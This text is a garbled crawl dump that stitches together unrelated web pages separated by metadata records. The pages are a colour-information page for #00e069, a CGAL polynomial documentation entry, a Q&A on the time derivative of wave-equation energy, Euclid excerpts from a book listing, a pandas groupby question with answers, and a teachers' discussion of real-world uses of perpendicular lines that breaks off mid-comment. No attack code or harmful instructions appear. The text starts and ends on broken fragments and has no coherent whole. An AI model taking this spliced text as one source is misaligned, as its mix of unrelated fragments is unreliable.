] | {"ft_lang_label":"__label__en","ft_lang_prob":0.5857686,"math_prob":0.99178565,"size":1304,"snap":"2019-35-2019-39","text_gpt3_token_len":418,"char_repetition_ratio":0.20307693,"word_repetition_ratio":0.0,"special_character_ratio":0.33358896,"punctuation_ratio":0.15413533,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99948245,"pos_list":[0,1,2,3,4],"im_url_duplicate_count":[null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-09-22T15:12:56Z\",\"WARC-Record-ID\":\"<urn:uuid:45db8e12-994f-44ab-9028-1d5e7cc6fe5a>\",\"Content-Length\":\"215152\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:e52d6d56-4e9b-4eb5-aa24-c0c7a8c57bdc>\",\"WARC-Concurrent-To\":\"<urn:uuid:494c8d71-463d-4304-b2d3-8a33eb539045>\",\"WARC-IP-Address\":\"208.74.204.209\",\"WARC-Target-URI\":\"https://community.qlik.com/t5/New-to-Qlik-Sense/second-if-condition-in-expression-not-working-in-qliksense/m-p/1598493\",\"WARC-Payload-Digest\":\"sha1:R5IKCVXBH26C2TJKOLNGMRXAMXPYWHAY\",\"WARC-Block-Digest\":\"sha1:B7HO2V4URHSVMDZL3GS6GXGFLUQ3BCJW\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-39/CC-MAIN-2019-39_segments_1568514575515.93_warc_CC-MAIN-20190922135356-20190922161356-00418.warc.gz\"}"} |
https://www.colorhexa.com/00e069 | [
"# #00e069 Color Information\n\nIn a RGB color space, hex #00e069 is composed of 0% red, 87.8% green and 41.2% blue. Whereas in a CMYK color space, it is composed of 100% cyan, 0% magenta, 53.1% yellow and 12.2% black. It has a hue angle of 148.1 degrees, a saturation of 100% and a lightness of 43.9%. #00e069 color hex could be obtained by blending #00ffd2 with #00c100. Closest websafe color is: #00cc66.\n\n• R 0\n• G 88\n• B 41\nRGB color chart\n• C 100\n• M 0\n• Y 53\n• K 12\nCMYK color chart\n\n#00e069 color description : Pure (or mostly pure) cyan - lime green.\n\n# #00e069 Color Conversion\n\nThe hexadecimal color #00e069 has RGB values of R:0, G:224, B:105 and CMYK values of C:1, M:0, Y:0.53, K:0.12. Its decimal value is 57449.\n\nHex triplet RGB Decimal 00e069 `#00e069` 0, 224, 105 `rgb(0,224,105)` 0, 87.8, 41.2 `rgb(0%,87.8%,41.2%)` 100, 0, 53, 12 148.1°, 100, 43.9 `hsl(148.1,100%,43.9%)` 148.1°, 100, 87.8 00cc66 `#00cc66`\nCIE-LAB 78.653, -70.593, 45.284 29.203, 54.328, 22.311 0.276, 0.513, 54.328 78.653, 83.869, 147.32 78.653, -71.187, 69.887 73.707, -58.265, 33.648 00000000, 11100000, 01101001\n\n# Color Schemes with #00e069\n\n• #00e069\n``#00e069` `rgb(0,224,105)``\n• #e00077\n``#e00077` `rgb(224,0,119)``\nComplementary Color\n• #07e000\n``#07e000` `rgb(7,224,0)``\n• #00e069\n``#00e069` `rgb(0,224,105)``\n• #00e0d9\n``#00e0d9` `rgb(0,224,217)``\nAnalogous Color\n• #e00007\n``#e00007` `rgb(224,0,7)``\n• #00e069\n``#00e069` `rgb(0,224,105)``\n• #d900e0\n``#d900e0` `rgb(217,0,224)``\nSplit Complementary Color\n• #e06900\n``#e06900` `rgb(224,105,0)``\n• #00e069\n``#00e069` `rgb(0,224,105)``\n• #6900e0\n``#6900e0` `rgb(105,0,224)``\n• #77e000\n``#77e000` `rgb(119,224,0)``\n• #00e069\n``#00e069` `rgb(0,224,105)``\n• #6900e0\n``#6900e0` `rgb(105,0,224)``\n• #e00077\n``#e00077` `rgb(224,0,119)``\n• #009445\n``#009445` `rgb(0,148,69)``\n``#00ad51` `rgb(0,173,81)``\n• #00c75d\n``#00c75d` `rgb(0,199,93)``\n• #00e069\n``#00e069` `rgb(0,224,105)``\n• #00fa75\n``#00fa75` `rgb(0,250,117)``\n• #14ff82\n``#14ff82` `rgb(20,255,130)``\n• #2eff90\n``#2eff90` `rgb(46,255,144)``\nMonochromatic Color\n\n# Alternatives to #00e069\n\nBelow, you can see some colors close to #00e069. Having a set of related colors can be useful if you need an inspirational alternative to your original color choice.\n\n• #00e031\n``#00e031` `rgb(0,224,49)``\n• #00e044\n``#00e044` `rgb(0,224,68)``\n• #00e056\n``#00e056` `rgb(0,224,86)``\n• #00e069\n``#00e069` `rgb(0,224,105)``\n• #00e07c\n``#00e07c` `rgb(0,224,124)``\n• #00e08e\n``#00e08e` `rgb(0,224,142)``\n• #00e0a1\n``#00e0a1` `rgb(0,224,161)``\nSimilar Colors\n\n# #00e069 Preview\n\nThis text has a font color of #00e069.\n\n``<span style=\"color:#00e069;\">Text here</span>``\n#00e069 background color\n\nThis paragraph has a background color of #00e069.\n\n``<p style=\"background-color:#00e069;\">Content here</p>``\n#00e069 border color\n\nThis element has a border color of #00e069.\n\n``<div style=\"border:1px solid #00e069;\">Content here</div>``\nCSS codes\n``.text {color:#00e069;}``\n``.background {background-color:#00e069;}``\n``.border {border:1px solid #00e069;}``\n\n# Shades and Tints of #00e069\n\nA shade is achieved by adding black to any pure hue, while a tint is created by mixing white to any pure color. In this example, #000804 is the darkest color, while #f4fff9 is the lightest one.\n\n• #000804\n``#000804` `rgb(0,8,4)``\n• #001c0d\n``#001c0d` `rgb(0,28,13)``\n• #002f16\n``#002f16` `rgb(0,47,22)``\n• #00431f\n``#00431f` `rgb(0,67,31)``\n• #005729\n``#005729` `rgb(0,87,41)``\n• #006a32\n``#006a32` `rgb(0,106,50)``\n• #007e3b\n``#007e3b` `rgb(0,126,59)``\n• #009244\n``#009244` `rgb(0,146,68)``\n• #00a54d\n``#00a54d` `rgb(0,165,77)``\n• #00b957\n``#00b957` `rgb(0,185,87)``\n• #00cc60\n``#00cc60` `rgb(0,204,96)``\n• #00e069\n``#00e069` `rgb(0,224,105)``\n• #00f472\n``#00f472` `rgb(0,244,114)``\n• #08ff7c\n``#08ff7c` `rgb(8,255,124)``\n• #1cff86\n``#1cff86` `rgb(28,255,134)``\n• #2fff91\n``#2fff91` `rgb(47,255,145)``\n• #43ff9b\n``#43ff9b` `rgb(67,255,155)``\n• #57ffa6\n``#57ffa6` `rgb(87,255,166)``\n• #6affb0\n``#6affb0` `rgb(106,255,176)``\n• #7effba\n``#7effba` `rgb(126,255,186)``\n• #92ffc5\n``#92ffc5` `rgb(146,255,197)``\n• #a5ffcf\n``#a5ffcf` `rgb(165,255,207)``\n• #b9ffda\n``#b9ffda` `rgb(185,255,218)``\n• #ccffe4\n``#ccffe4` `rgb(204,255,228)``\n• #e0ffef\n``#e0ffef` `rgb(224,255,239)``\n• #f4fff9\n``#f4fff9` `rgb(244,255,249)``\nTint Color Variation\n\n# Tones of #00e069\n\nA tone is produced by adding gray to any pure hue. In this case, #67796f is the less saturated color, while #00e069 is the most saturated one.\n\n• #67796f\n``#67796f` `rgb(103,121,111)``\n• #5f816f\n``#5f816f` `rgb(95,129,111)``\n• #568a6e\n``#568a6e` `rgb(86,138,110)``\n• #4e926e\n``#4e926e` `rgb(78,146,110)``\n• #459b6d\n``#459b6d` `rgb(69,155,109)``\n• #3ca46d\n``#3ca46d` `rgb(60,164,109)``\n• #34ac6c\n``#34ac6c` `rgb(52,172,108)``\n• #2bb56c\n``#2bb56c` `rgb(43,181,108)``\n• #22be6b\n``#22be6b` `rgb(34,190,107)``\n• #1ac66b\n``#1ac66b` `rgb(26,198,107)``\n• #11cf6a\n``#11cf6a` `rgb(17,207,106)``\n• #09d76a\n``#09d76a` `rgb(9,215,106)``\n• #00e069\n``#00e069` `rgb(0,224,105)``\nTone Color Variation\n\n# Color Blindness Simulator\n\nBelow, you can see how #00e069 is perceived by people affected by a color vision deficiency. This can be useful if you need to ensure your color combinations are accessible to color-blind users.\n\nMonochromacy\n• Achromatopsia 0.005% of the population\n• Atypical Achromatopsia 0.001% of the population\nDichromacy\n• Protanopia 1% of men\n• Deuteranopia 1% of men\n• Tritanopia 0.001% of the population\nTrichromacy\n• Protanomaly 1% of men, 0.01% of women\n• Deuteranomaly 6% of men, 0.4% of women\n• Tritanomaly 0.01% of the population"
] | [
null
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https://doc.cgal.org/4.7/Polynomial/classPolynomialTraits__d_1_1MultivariateContent.html | [
"",
null,
"CGAL 4.7 - Polynomial\nPolynomialTraits_d::MultivariateContent Concept Reference\n\nDefinition\n\nThis AdaptableUnaryFunction computes the content of a PolynomialTraits_d::Polynomial_d with respect to the symmetric view on the polynomial, that is, it computes the gcd of all innermost coefficients.\n\nThis functor is well defined if PolynomialTraits_d::Innermost_coefficient_type is a Field or a UniqueFactorizationDomain.\n\nRefines:\nPolynomial_d\nPolynomialTraits_d\n\nTypes\n\ntypedef\nPolynomialTraits_d::Innermost_coefficient_type\nresult_type\n\ntypedef\nPolynomialTraits_d::Polynomial_d\nargument_type\n\nOperations\n\nresult_type operator() (argument_type p)\nComputes the $$gcd$$ of all innermost coefficients of $$p$$."
] | [
null,
"https://doc.cgal.org/4.7/Manual/search/mag_sel.png",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.52560085,"math_prob":0.8413941,"size":632,"snap":"2019-43-2019-47","text_gpt3_token_len":151,"char_repetition_ratio":0.19904459,"word_repetition_ratio":0.0,"special_character_ratio":0.19936709,"punctuation_ratio":0.16470589,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.98847485,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-10-20T02:08:42Z\",\"WARC-Record-ID\":\"<urn:uuid:8c8c4562-fd6a-445b-865b-be875dc713f0>\",\"Content-Length\":\"13212\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:f57af202-4a35-4313-b7a2-a06edee62daa>\",\"WARC-Concurrent-To\":\"<urn:uuid:e8acb9cc-744c-4c72-b828-d97db7ae6e86>\",\"WARC-IP-Address\":\"213.186.33.40\",\"WARC-Target-URI\":\"https://doc.cgal.org/4.7/Polynomial/classPolynomialTraits__d_1_1MultivariateContent.html\",\"WARC-Payload-Digest\":\"sha1:P4NJY3IULAHW5KCNDHJJC5FKPXSR5KVA\",\"WARC-Block-Digest\":\"sha1:SJX3Q2YPOFLX32G7TFPW4L64MTDEU76Q\",\"WARC-Identified-Payload-Type\":\"application/xhtml+xml\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-43/CC-MAIN-2019-43_segments_1570986700560.62_warc_CC-MAIN-20191020001515-20191020025015-00115.warc.gz\"}"} |
https://math.stackexchange.com/questions/1644282/taking-derivative-of-energy-of-wave-equation | [
"# Taking derivative of energy of wave equation\n\nConsider the variable coefficient, real valued wave equation\n\n$$u_{tt} - \\nabla \\cdot (c^2 \\nabla u) + qu = 0, \\quad u(x,0) = \\phi(x), \\quad u_t(x, 0) = \\phi(x),$$ where $c, q \\geq 0$ depend only on $x$. Then we define the total energy at time $f$ of a $C^2$ solution $u$ as\n\n$$E(t) = \\frac{1}{2}\\int_\\Omega (u_t^2 + c(x)^2|\\nabla u|^2 + q(x)u^2) \\, dx.$$\n\nThe goal is to show that the total energy is constant given some boundary conditions. To do this, we differentiate $E$ with respect to $t$, but I have some questions about the presented derivation. The notes I'm following claim that\n\n$$\\frac{dE}{dt}(t) = \\frac{1}{2}\\int_\\Omega (u_tu_{tt} + c(x)^2 \\nabla u \\cdot \\nabla u_t + q(x)uu_t)\\, dx.$$\n\nHowever, my calculations have that, e.g.:\n\n$$\\frac{d}{dt} u_t^2 = 2\\left(\\frac{d}{dt}u_t\\right)\\left(\\frac{d}{dt}u\\right) = 2u_{tt}u_t.$$\n\nWhere does the extra factor of $2$ appear in my derivation?\n\nWith the $\\nabla$ term, I'm having even more trouble recovering the solution's expression. I expand as:\n\n\\begin{align*} \\frac{\\partial}{\\partial t}|\\nabla u|^2 &= \\frac{\\partial}{\\partial t}\\left(\\sum_{i=1}^n\\left(\\frac{\\partial u}{\\partial x_i}\\right)^2 + \\left(\\frac{\\partial u}{\\partial t}\\right)^2\\right)\\\\ &= \\sum_{i=1}^n 2\\frac{\\partial^2 u}{\\partial t \\partial x_i} \\frac{\\partial u}{\\partial t} + 2 \\frac{\\partial^2 u}{\\partial^2 t}\\frac{\\partial u}{\\partial t} \\\\ \\end{align*}\n\nwhich isn't the form in the notes. Any guidance in how the notes get their final expression would be much appreciated.\n\n• I just realized that the constant factor of $2$ is cancelled by the $\\frac{1}{2}$ outside the integral. Maybe this will make the inside calculations work... – user83387 Feb 7 '16 at 10:28\n\nThe notes that you are following should be corrected by erasing the initial fraction: $$\\frac{dE}{dt}(t) = \\int_\\Omega (u_tu_{tt} + c(x)^2 \\nabla u \\cdot \\nabla u_t + q(x)uu_t)\\, dx.$$ In particular, the derivative of $(u_t)^2$ is obtained exactly as you wrote. As for the middle term, you have instead $$\\frac{\\partial}{\\partial t}|\\nabla u|^2 = \\frac{\\partial}{\\partial t}\\sum_{i=1}^n\\left(\\frac{\\partial u}{\\partial x_i}\\right)^2= \\sum_{i=1}^n 2\\frac{\\partial^2 u}{\\partial t \\partial x_i} \\frac{\\partial u}{\\partial x_i}= \\sum_{i=1}^n 2\\frac{\\partial u_t}{\\partial x_i} \\frac{\\partial u}{\\partial x_i}=2\\nabla u \\cdot \\nabla u_t.$$\n• So $\\nabla u$ is taking the first partials w.r.t. to only $x$? – user83387 Feb 7 '16 at 10:37\n• When applying the chain rule to $\\frac{\\partial}{\\partial t} \\left(\\frac{\\partial u}{\\partial x_i}\\right)^2$ shouldn't we get $2 \\frac{\\partial^2 u}{\\partial t \\partial x_i} \\frac{\\partial u}{\\partial t}$? – user83387 Feb 7 '16 at 10:40\n• Yes, $\\nabla u$ is only what I wrote and you just use the chain rule, which doesn't give $\\frac{\\partial u}{\\partial t}$. – John B Feb 7 '16 at 10:43"
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.7767204,"math_prob":0.9999691,"size":1508,"snap":"2019-35-2019-39","text_gpt3_token_len":537,"char_repetition_ratio":0.17819148,"word_repetition_ratio":0.0,"special_character_ratio":0.36405835,"punctuation_ratio":0.090322584,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":1.0000086,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-09-24T08:38:04Z\",\"WARC-Record-ID\":\"<urn:uuid:45daf923-74da-4db0-b386-bf5e55fd668b>\",\"Content-Length\":\"135799\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:e0d49be7-74d1-4591-a2df-b49afdd18e68>\",\"WARC-Concurrent-To\":\"<urn:uuid:8984805f-9f0a-4fa4-8fb3-fab7b1fac89e>\",\"WARC-IP-Address\":\"151.101.65.69\",\"WARC-Target-URI\":\"https://math.stackexchange.com/questions/1644282/taking-derivative-of-energy-of-wave-equation\",\"WARC-Payload-Digest\":\"sha1:AFCK5CKER64WL3K246IR3C2WDLBIIJBO\",\"WARC-Block-Digest\":\"sha1:UUJ3PXPL6NGEHSLG57DNNDG4PYTAY63N\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-39/CC-MAIN-2019-39_segments_1568514572896.15_warc_CC-MAIN-20190924083200-20190924105200-00359.warc.gz\"}"} |
https://books.google.no/books?id=2TQDAAAAQAAJ&vq=%22any+two+angles+of+a+triangle+are+together+less+than+two+right+angles.%22&dq=editions:UOM39015067252117&lr=&hl=no&output=html&source=gbs_navlinks_s | [
"### Hva folk mener -Skriv en omtale\n\nVi har ikke funnet noen omtaler pċ noen av de vanlige stedene.\n\n### Populĉre avsnitt\n\nSide 8 - If, from the ends of the side of a triangle, there be drawn two straight lines to a point within the triangle, these shall be less than, the other two sides of the triangle, but shall contain a greater angle. Let...\nSide 12 - To describe a parallelogram that shall be equal to a given triangle, and have one of its angles equal to a given rectilineal angle.\nSide 17 - If a straight line be divided into any two parts, the square of the whole line is equal to the squares of the two parts, together with twice the rectangle contained by the parts.\nSide 19 - AB be the given straight line ; it is required to divide it into two parts, so that the rectangle contained by the whole, and one of the parts, shall be equal to the square of the other part.\nSide 9 - Whoever wishes to attain an English style, familiar but not coarse, and elegant but not ostentatious, must give his days and nights to the volumes of Addison...\nSide 10 - IF a side of any triangle be produced, the exterior angle is equal to the two interior and opposite angles ; and the three interior angles of every triangle are equal to two right angles.\nSide 18 - In every triangle, the square on the side subtending an acute angle, is less than the squares on the sides containing that angle, by twice the rectangle contained by either of these sides, and the straight line intercepted between the perpendicular let fall on it from the opposite angle, and the acute angle.\nSide 13 - In any right-angled triangle, the square which is described upon the side subtending the right angle, is equal to the squares described upon the sides which contain the right angle.\nSide 12 - TRIANGLES upon the same base, and between the same parallels, are equal to one another.\nSide 10 - To draw a straight line through a given point parallel to a given straight line. Let A be the given point, and BC the given straight line ; it is required to draw a straight line through the point A, parallel to the straight hue BC. In BC take any point D, and join AD; and at the point A, in the straight line AD, make (I."
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.85318947,"math_prob":0.99279875,"size":3914,"snap":"2021-43-2021-49","text_gpt3_token_len":843,"char_repetition_ratio":0.15754476,"word_repetition_ratio":0.14626865,"special_character_ratio":0.20286152,"punctuation_ratio":0.09040334,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9949738,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-10-18T05:41:48Z\",\"WARC-Record-ID\":\"<urn:uuid:466e20d6-a1f0-49c2-bd81-c4601f44efc8>\",\"Content-Length\":\"54458\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:ca4b0a9a-076d-4c43-9ae1-43b7571c2a48>\",\"WARC-Concurrent-To\":\"<urn:uuid:0abb70e6-7137-4eaf-920e-1873e7c7134a>\",\"WARC-IP-Address\":\"172.217.0.46\",\"WARC-Target-URI\":\"https://books.google.no/books?id=2TQDAAAAQAAJ&vq=%22any+two+angles+of+a+triangle+are+together+less+than+two+right+angles.%22&dq=editions:UOM39015067252117&lr=&hl=no&output=html&source=gbs_navlinks_s\",\"WARC-Payload-Digest\":\"sha1:Z3YWDBARJXMECOCBEF3CRYJE47QBVDNQ\",\"WARC-Block-Digest\":\"sha1:7YTZAYTULQLDGALFYRMHQGCHMFF5XXGG\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-43/CC-MAIN-2021-43_segments_1634323585196.73_warc_CC-MAIN-20211018031901-20211018061901-00214.warc.gz\"}"} |
https://stackoverflow.com/questions/40734010/merge-series-of-a-pandas-column-which-is-a-series-itself-in-groups | [
"# Merge Series of a pandas column (which is a Series itself) in groups\n\nI have a pandas data frame in which one of the columns is a Series itself. Eg:\n\n``````df.head()\n\nCol1 Col2\n1 [\"name1\",\"name2\",\"name3\"]\n1 [\"name3\",\"name2\",\"name4\"]\n2 [\"name1\",\"name2\",\"name3\"]\n2 [\"name1\",\"name5\",\"name6\"]\n``````\n\nI need to concatenate the Col2 in groups of Col1. I want something like\n\n``````Col1 Col2\n1 [\"name1\",\"name2\",\"name3\",\"name4\"]\n2 [\"name1\",\"name2\",\"name3\",\"name5\",\"name6\"]\n``````\n\nI tries using a groupby as\n\n``````.agg({\"Col2\":lambda x: pd.Series.append(x)})\n``````\n\nBut this throws error saying two parameters are required. I also tried using sum in the agg function. That fails with error does not reduce.\n\nHow do I do this?\n\nYou can use `groupby` with `apply` custom function, where first flatten nested lists by `chain` (fastest solution), then remove duplicates by `set`, convert to `list` and last sort:\n\n``````import pandas as pd\nfrom itertools import chain\n\ndf = pd.DataFrame({'Col1':[1,1,2,2],\n'Col2':[[\"name1\",\"name2\",\"name3\"],\n[\"name3\",\"name2\",\"name4\"],\n[\"name1\",\"name2\",\"name3\"],\n[\"name1\",\"name5\",\"name6\"]]})\n\nprint (df)\nCol1 Col2\n0 1 [name1, name2, name3]\n1 1 [name3, name2, name4]\n2 2 [name1, name2, name3]\n3 2 [name1, name5, name6]\n``````\n``````print (df.groupby('Col1')['Col2']\n.apply(lambda x: sorted(list(set(list(chain.from_iterable(x))))))\n.reset_index())\nCol1 Col2\n0 1 [name1, name2, name3, name4]\n1 2 [name1, name2, name3, name5, name6]\n``````\n\nSolution can be more simplier, only `chain`, `set` and `sorted` is necessary:\n\n``````print (df.groupby('Col1')['Col2']\n.apply(lambda x: sorted(set(chain.from_iterable(x))))\n.reset_index())\n\nCol1 Col2\n0 1 [name1, name2, name3, name4]\n1 2 [name1, name2, name3, name5, name6]\n``````\n\nYea, you wouldn't be able to use `.aggby{}` on categorical data like this. Anyway, here's my stab at the problem, using the help up of numpy. (commented for clarity)\n\n``````import numpy as np\n\n# Set group by (\"Col1\") unique values\ngroupby = df[\"Col1\"].unique()\n\n# Create empty dict to store values on each iteration\nd = {}\n\nfor i,val in enumerate(groupby):\n\n# Set \"Col1\" key, to the unique value (e.g., 1)\nd.setdefault(\"Col1\",[]).append(val)\n\n# Create empty list to store values from \"Col2\"\ncol2_unis=[]\n\n# Create sub-DataFrame for each unique groupby value\nsdf = df.loc[df[\"Col1\"]==val]\n\n# Loop through the 2D-array/Series \"Col2\" and append each\n# value to col_unis (using list comprehension)\ncol2_unis.append([[j for j in array] for i,array in enumerate(sdf[\"Col2\"].values)])\n\n# Set \"Col2\" key, to be unique values of col2_unis\nd.setdefault(\"Col2\",[]).append(np.unique(col2_unis))\n\nnew_df = pd.DataFrame(d)\n\nprint(new_df)\n``````\n\nA more condensed version would look like:\n\n``````d = {}\nfor i,val in enumerate(df[\"Col1\"].unique()):\nd.setdefault(\"Col1\",[]).append(val)\nsdf = df.loc[df[\"Col1\"]==val]\nd.setdefault(\"Col2\",[]).append(np.unique([[j for j in array] for i,array in enumerate(df.loc[df[\"Col1\"]==val, \"Col2\"].values)]))\nnew_df = pd.DataFrame(d)\nprint(new_df)\n``````\n\nLearn more about Python's `.setdefault()` function for dictionaries, by checking out this related SO question."
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.74155986,"math_prob":0.9168126,"size":603,"snap":"2019-43-2019-47","text_gpt3_token_len":181,"char_repetition_ratio":0.22036728,"word_repetition_ratio":0.0,"special_character_ratio":0.35157546,"punctuation_ratio":0.20588236,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9627749,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-11-19T07:19:14Z\",\"WARC-Record-ID\":\"<urn:uuid:67ba9089-6d40-45c3-b6a5-ee85ecf89f69>\",\"Content-Length\":\"151629\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:ef1d6e50-1786-46ba-a3da-e449edc7681b>\",\"WARC-Concurrent-To\":\"<urn:uuid:cbae9ba3-cd28-4975-a5aa-0731e2170634>\",\"WARC-IP-Address\":\"151.101.129.69\",\"WARC-Target-URI\":\"https://stackoverflow.com/questions/40734010/merge-series-of-a-pandas-column-which-is-a-series-itself-in-groups\",\"WARC-Payload-Digest\":\"sha1:CB3X2ZY2WDM5DDF3ERLTDOK7TYTXHBXC\",\"WARC-Block-Digest\":\"sha1:2NNZCROUFDRCWADCMQWUJB653IHXGABE\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-47/CC-MAIN-2019-47_segments_1573496670036.23_warc_CC-MAIN-20191119070311-20191119094311-00009.warc.gz\"}"} |
https://matheducators.stackexchange.com/questions/12881/application-of-perpendicular-lines/12883 | [
"# Application of perpendicular lines\n\nEndeavoring to bring some flavor of \"real world\" application to each topic in my community college precalculus class, I find myself struggling to provide some non-geometric motivation for perpendicular lines.\n\nApplications of parallel lines are a dime-a-dozen, as the idea of rate-of-change is easy for students to discuss when there are units involved. The discussion of the relevant units makes the conversation meaningful.\n\nNow, is there some level-appropriate, non-geometric application of perpendicularity? I am having trouble thinking of something that doesn't strictly rely on the angle between the functions (\"find the equations for the sides of this square\"), tangent lines (e.g. finding the gradient), or a special case with the units ignored (\"this thing goes up by 1 each year, and the other thing goes down by 1 each year\").\n\nDo you have a go-to example of a non-geometric application of perpendicularity for precalculus students? In your example, do the units tell something useful? If so, I'd love to hear about it.\n\nIncidentally, here's what I'm thinking of as an easy-to-build application of parallel functions for my students:\n\n• Two people begin working at the same job, and each year they will both see a 2000 dollar-per-year raise. Person A comes with experience, beginning at 55000 dollars per year, and person B starts at 45000 dollars per year.\n• What do you mean by a \"non-geometric application of perpendicularity\"? To me that sort of sounds like a \"non-arithmetical application of addition\" or \"non-statistical application of variance\". – John Coleman Sep 19 '17 at 19:43\n• John Coleman -- To me, there is nothing inherently geometric about the example I gave about salaries increasing, unless I graph the relevant functions and look at the lines. If two unit-possessing relationships are parallel, then there is often a nice way to describe what makes them parallel them in words, without mentioning points, lines, planes or angles. However, I'm having a hard time providing an example of two relationships which are perpendicular, where the perpendicularity can be explained without mentioning geometric objects (points, lines, planes or angles). Does this make sense? – Nick C Sep 19 '17 at 21:06\n• It is an interesting question. \"Orthogonal\" is sometimes used when the geometric meaning isn't so intuitive (e.g. two vectors which dot to zero in some high-dimensional space). Perhaps you could search for simple examples of orthogonality. – John Coleman Sep 19 '17 at 21:20\n• I don't find where I read a really convincing argument against trying to cook up real-world example when teaching math, but this one comes close: byrdseed.com/beware-real-world We do need to engage students, but real world example are overrated and usually are cheats. Realistic applications are often too difficult to introduce a notion (they need the student to already master the notion), while one can have great fun with fantastic, weird, pop-cultural examples. – Benoît Kloeckner Sep 21 '17 at 20:00\n\nThere's a reason why you can't find a good non-geometric example: when the dimensions of the axes on a graph are distinct, perpendicularity is units-dependent. There is thus no natural aspect ratio with which to draw the graph. If you change the scale for just one axis, you destroy any perpendicularity that was present, thus demonstrating that it was an accident.\n\n• Scale does not affect perpendicularity. The scale can be anything, as long as it's the same for both axes. The same goes with \"scale\" replaced with \"units\". – Joonas Ilmavirta Sep 20 '17 at 8:53\n• @JoonasIlmavirta Davis explicitly says \"when the dimensions of the axes on a graph are distinct\" in which case there is no principled reason not to change the scale of just one axis. OP's example of parallel involves dollars and years. There is no reason at all to have e.g. 1 dollar and 1 year represented by the same distance on an axis. The scale choice that you make wouldn't effect two lines being parallel -- but it would effect if the lines are perpendicular. This is an insightful answer. – John Coleman Sep 20 '17 at 10:41\n• @JohnColeman I agree, this is a fine answer. I don't fully agree with \"perpendicularity is units-dependent\". It is true that if different axes have different units, then the concept is meaningless, and this has to do with scaling one axis instead of the other. What I wanted to say is that scaling the whole plane (changing units on both axes) makes no difference for perpendicularity, so one doesn't really need a natural scale. – Joonas Ilmavirta Sep 20 '17 at 12:08\n• @JoonasIlmavirta: I reworded the answer to avoid making the statement overbroad. – Davis Herring Sep 20 '17 at 13:07\n• @DavisHerring Looks good! +1. – Joonas Ilmavirta Sep 20 '17 at 13:53\n\nGiven a set of sites determine which points are closer one of the sites than any of the others? If closer is measured by Euclidean distance then given the distinct points A and B the points equidistant from A and B lie on the perpendicular bisector of the segment A and B. The regions one obtains are known as the Voronoi diagram associated with the sites, and pieces of lines perpendicular to the lines joining pairs of sites play an important role. The sites may be post offices or schools so the \"cells\" of the Voronoi diagram are the postal districts or school districts. Here is a primer for these ideas: http://cs.brown.edu/courses/cs252/misc/resources/lectures/pdf/notes09.pdf\n\n• Great example! For further work with Voronoi diagrams you can note the John Snow maps dealing with the Cholera outbreak in London, or Descartes diagrams for his vortical model of outer space. – jfkoehler Sep 26 '17 at 21:06\n\nBuilders use plumb lines and levels to determine vertical and horizontal directions (which are perpendicular) in order to ensure that floors are horizontal and walls are vertical.\n\nWhen dealing with vectors (in the plane or in space), which are used constantly in statics and dynamics, one often represents each vector as the sum of a pair of perpendicular vectors. Flip through any introductory engineering statics or dynamics book for many such examples.\n\nThis is a bit fanciful, and likely too geometric for your purposes, but if your students have encountered trig...\n\nRoad intersections are safest if the roads cross at right angles. Suppose the roads are $\\sin$ and $\\cos$ functions, say $\\sin x$ and $\\cos(x+\\pi)$. Do they cross at right angles? No. Suppose you scale up the second road to the steeper $s \\cos(x+\\pi)$. What $s>1$ leads to crossing at right angles? Of course to solve this they need the derivative, but perhaps this could motivate slopes.",
null,
"$\\sin x$ and $2 \\cos(x+\\pi)$ cross orthogonally at $x=-\\frac{1}{4}\\pi,\\, \\frac{3}{4}\\pi$.\n\nThere are many applications of perpendicular lines in high school Physics. My students must often figure out the perpendicular to a given line.\n\nThe normal force is perpendicular to the surface on which an object is resting or sliding.\n\nSnell's Law, which governs how a light ray behaves when it crosses the boundary between two media (such as air and glass), requires the line perpendicular to the boundary.\n\nIn calculus I class today: Find the point on y=x2 that is closest to (1,0). (Actually, approximate it, using Newton's Method.)\n\nThe closest point makes a line segment perpendicular to the tangent line. [True for a point and a line. Is this true for a point and a curve by definition? It is just what came to me in class, when a student asked me to do this problem. I had assigned it but never thought about it carefully. I see that using distance gets me to the same place algebraically, but I haven't yet established the perpendicularity to my satisfaction.]\n\nThe student had tried to minimize distance, which is much harder. Using the perpendicular made the problem relatively straightforward.\n\n• Yes, also true for a point $p$ and a curve $C$, not by definition, but because if the min distance were realized by $p x$ with $x \\in C$ without perpendicularity, then $x$ could be slid one way or the other to reduce $|p x|$. – Joseph O'Rourke Sep 22 '17 at 11:47\n• Yes, what I was thinking about. I just didn't feel I had it 